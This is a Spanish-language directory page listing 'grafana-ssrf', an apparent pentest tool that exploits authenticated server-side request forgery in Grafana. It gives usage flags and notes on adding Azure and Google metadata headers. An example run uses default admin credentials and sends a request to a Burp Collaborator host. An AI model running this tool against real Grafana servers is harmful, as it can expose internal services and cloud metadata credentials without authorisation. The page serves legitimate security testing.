Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
grafana-ssrf — Authenticated SSRF in Grafana | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/grafana-ssrf
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCloud SecurityRed Teaming
GitHubrandomrobbiebf/grafana-ssrf

grafana-ssrf

Authenticated SSRF in Grafana

Ver Repositorio
8327hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

grafana-ssrf

SSRF autenticado en Grafana.

Notas

  • El encabezado de metadatos de Azure se ha añadido a todos los SSRF
  • El encabezado de metadatos de Google se ha añadido a todos los SSRF
  • El SSRF no seguirá redirecciones pase lo que pase, así que asegúrate de que la URL sea directa.
  • Si el inicio de sesión es mediante SSO u otros inicios de sesión que no sean de Grafana, obtén tu cookie de sesión y usa el indicador -s

Uso

root@kitploit:~
usage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]
                  [-P PASSWORD]

optional arguments:
  -h, --help            show this help message and exit
  -s SESSION, --session SESSION
                        Session Cookie Value
  -u URL, --url URL     URL of host to check will need http or https
  -H HOST, --host HOST  Host for Grafana
  -f FILE, --file FILE  File of URLS to check SSRF Against
  -U USERNAME, --username USERNAME
                        Username for Grafana
  -P PASSWORD, --password PASSWORD
                        Password for Grafana

Ejemplo

root@kitploit:~
python3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net
Refreshed Sources
SSRF Source Updated
Status code:   200
Response body: <html><body>c7yzzb4zyj5v14wkpi2nxvzjigz</body></html>
Deleted Old SSRF Source

¡No olvides echar un vistazo a las ofertas de empleo que tenemos abiertas!

https://bishopfox.com/jobs#open-positions - ¡Ven a unirte a los Zorros!

Descargar herramienta